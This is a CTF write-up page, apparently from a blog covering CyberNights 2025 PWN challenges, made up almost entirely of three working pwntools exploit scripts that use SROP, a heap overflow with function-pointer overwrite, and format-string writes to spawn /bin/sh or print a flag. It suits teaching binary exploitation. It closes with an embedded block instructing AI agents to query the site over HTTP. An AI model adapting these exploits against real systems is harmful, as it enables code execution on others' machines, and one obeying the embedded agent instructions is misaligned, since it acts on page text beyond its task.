# PWN

## SigHacked

```python

from pwn import *

context.binary = elf = ELF('./chall')
p = process('./chall')


# Leak buffer address and calculate ELF base
p.recvuntil(b'We will store here ')
buffer_addr = int(p.recvuntil(b' ', drop=True), 16)
log.info(f'Buffer address: {hex(buffer_addr)}')

p.recvuntil(b'in menu ')
menu_addr = int(p.recvuntil(b',', drop=True), 16)
elf.address = menu_addr - 0x129E
log.info(f'ELF base address: {hex(elf.address)}')

binsh = b'/bin/sh\x00'
syscall_ret = elf.address + 0x1605
# Construct SROP payload
frame = SigreturnFrame()
frame.rax = 0x3B            # execve syscall number
frame.rdi = buffer_addr   # address of '/bin/sh'
frame.rsi = 0             # argv = NULL
frame.rdx = 0             # envp = NULL
frame.rip = syscall_ret   # syscall instruction after frame

# Add first student with shellcode in name
p.sendlineafter(b'Enter your choice: ', b'1')
p.sendlineafter(b'Enter student name: ', binsh + (b'A' * (50 - len(binsh)))) # buffer_addr contains our /bin/sh
gadgets = p64(elf.address + 0x1604) # pop rax; syscall
gadgets += p64(0xF) # syscall execve

p.sendlineafter(b'Enter student degree: ', (b'B' * 0xFE) + gadgets + bytes(frame))

p.sendlineafter(b'Enter your choice: ', b'3')

p.interactive()
```

### HouseOfNothing

```python
from pwn import *

executable = '/home/ubuntu/Desktop/house/chall'
context.binary = elf = ELF(executable)

io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(msg)

def choice(num):
    """
    0. Hidden MSG
    1. Add Idea
    2. Delete Idea
    3. Show Idea
    4. Exit
    > 
    """
    io.sendlineafter(b'> ', str(num).encode()) 

def elf_address():
    choice(0)
    msg = io.recvline()
    
    temp = msg[0x31:]
    func = temp[:temp.find(b' ')]
    
    return int(func, 16) - 0x1283

def add_idea(idx, data):
    choice(1)
    
    io.sendlineafter(b'Enter index (0-9): ', str(idx).encode())
    io.sendlineafter(b'Enter your idea: ', data)

def delete_idea(idx):
    choice(2)

    io.sendlineafter(b'Enter index to delete: ', str(idx).encode())

def print_idea(idx):
    choice(3)
    
    io.sendlineafter(b'Enter index to view: ', str(idx).encode())
    msg = io.recvline()
    print(msg.decode())

def quit():
    choice(4)

def exploit():
    debug('[*] Starting exploit')
    
    # Exploit
    elf.address = elf_address()
    print(f'[+] ELF BASE: {hex(elf.address)}')

    
    # print_flag function ptr
    flag = elf.address + 0x1269
    
    add_idea(0, b'A' * 64)
    add_idea(1, b'B' * 64)
    delete_idea(0)

    # Heap Overflow
    payload = b'C' * (64 + (8 * 3))
    payload += p64(flag)
    payload += p32(0x0)

    # Overwrite print_idea function
    add_idea(0, payload)
    
    debug('[*] Triggering function pointer overwrite...')
    print_idea(1)

    debug('[*] Done.')
    io.interactive()

def local():
    global io
    
    io = process(executable)

    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()

    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
    
```

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2FFaf3OtH5m5ibu9dzipBc%2Fimage.png?alt=media&#x26;token=f378adab-1da5-4323-8566-a6c092d2d569" alt=""><figcaption><p>Struct</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2Fk02SFpHTBoO4FpseQabl%2Fimage.png?alt=media&#x26;token=de9442a0-9c1e-41f2-9753-2f28823e7fa5" alt=""><figcaption><p>Main</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2FwsgNpSYwmNrNyWTbAx4R%2Fimage.png?alt=media&#x26;token=38cb15b2-fae6-4d2b-9a32-4247db99eb83" alt=""><figcaption><p>Leak function</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2FCFVudr7QCwoKpjpJnPen%2Fimage.png?alt=media&#x26;token=ba5d0014-b61d-49ce-b1c2-74535d9090e0" alt=""><figcaption><p>Add idea</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2FiulIMAlpdfyGVvBfFl9Y%2Fimage.png?alt=media&#x26;token=e5c05fdb-bc26-4d55-ad3a-1e39fd87ad2d" alt=""><figcaption><p>delete idea</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2F0LyW8NA8dQik7H215PwI%2Fimage.png?alt=media&#x26;token=8de613fa-5326-4d41-9a49-eb424f14166f" alt=""><figcaption><p>call func from heap</p></figcaption></figure>

<figure><img src="https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MbvhwyfSiuEoRfDEQp1%2Fuploads%2FbpMzBvXJ4WI2HWjZBS5S%2Fimage.png?alt=media&#x26;token=ec3da099-2e55-4139-8f6a-8170c1bcfaeb" alt=""><figcaption><p>print flag</p></figcaption></figure>

### Subo

```python
from pwn import *
EXECUTABLE = './chall'
LIBC = './libc.so.6'
context.binary = elf = ELF(EXECUTABLE)
libc = ELF(LIBC)
io = None
isDebug = True

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b printf
    ''')

def debug(msg = '[Debug] Press Enter to continue ...', disabled = False):
    """Pause execution for debugging."""
    if isDebug and not disabled:
        input(msg)

def set_username(username):
    """Set the username by sending the -u command."""
    io.sendlineafter(b'Enter command: ', b'-u ' + username)

def run_shell_as_user(username):
    """Send the -s command to attempt running a shell as the specified user."""
    set_username(username)
    io.sendlineafter(b'Enter command: ', b'-s')
    msg = io.recvuntil(b'.')
    return msg

def format_write(value, addr, offset = 37, padding = 197):
    """
    Create a format string payload to write a 2-byte value using %hn.
    
    Parameters:
    - value: The 2-byte value to write.
    - addr: The memory address to write to.
    - offset: The number of characters printed before writing.
    - padding: The total payload size to ensure correct alignment.
    """
    junk = b'A'
    payload = b'%c' * offset
    payload += f'%{value - offset}c%hn'.encode()
    payload = payload.ljust(padding, junk) + p64(addr)
    run_shell_as_user(payload)

def format_leak(offset):
    """
    Leak a memory address using a format string vulnerability.
    
    Parameters:
    - offset: The position in the format string output where the address appears.
    
    Returns:
    - The leaked address as an integer.
    """
    username = b'%c' * offset + b'%p'
    msg = run_shell_as_user(username)
    msg = msg.replace(b'Error: User ', b'').replace(b' not found.', b'')
    value = int(msg.split(b'0x')[1].split()[0], 16)
    return value

def exploit():
    debug('[*] Starting exploit', disabled = True)
    
    # Leak Stack address
    stack_addr = format_leak(6)
    print(f'[+] Stack address: {hex(stack_addr)}')

    # LIBC base address
    libc.address = format_leak(2) - 0x114887
    print(f'[+] LIBC base: {hex(libc.address)}')

    # ELF base address
    elf.address = format_leak(10) - 0x18E9
    print(f'[+] ELF base: {hex(elf.address)}')

    # execute_command_as_user+0x14F0
    # mov     rax, [rbp+command]
    rbp_command = stack_addr + 0x5f0  # Offset 0x5f0 is determined from the leaked stack address in a debugger for [rbp+command]
    
    # Address of '/bin/sh' in libc
    binsh_ptr = next(libc.search(b'/bin/sh\x00'))
    print(f'[+] LIBC binsh: {hex(binsh_ptr)}')
    
    # Write to [rbp+command] the address of "/bin/sh"
    format_write(binsh_ptr & 0xFFFF, rbp_command)
    format_write((binsh_ptr >> 16) & 0xFFFF, rbp_command + 2)
    format_write((binsh_ptr >> 32) & 0xFFFF, rbp_command + 4)
    print(f'[+] [rbp+command] on the stack points to the "/bin/sh\\x00" address.: {hex(rbp_command)}')
    
    # run_shell_as_user+0x1577
    # retn
    ret_addr = stack_addr - 0x218 # 0x218 is the return address offset, determined from stack analysis in a debugger. 
    print(f'[+] Return address: {hex(ret_addr)}')

    # The address to call system: mov rax, [rbp+command] | mov rdi, rax | call _system | execute_command_as_user+0x14F0
    system = (elf.address + 0x14f0) & 0xFFFF
    format_write(system, ret_addr)
    
    io.interactive()

def local():
    global io
    
    io = process(EXECUTABLE)
    exploit()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

if __name__ == '__main__':
    local()
    # host = '127.0.0.1'
    # port = '5000'
    # srv(host, port)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/cybernights-2025/pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
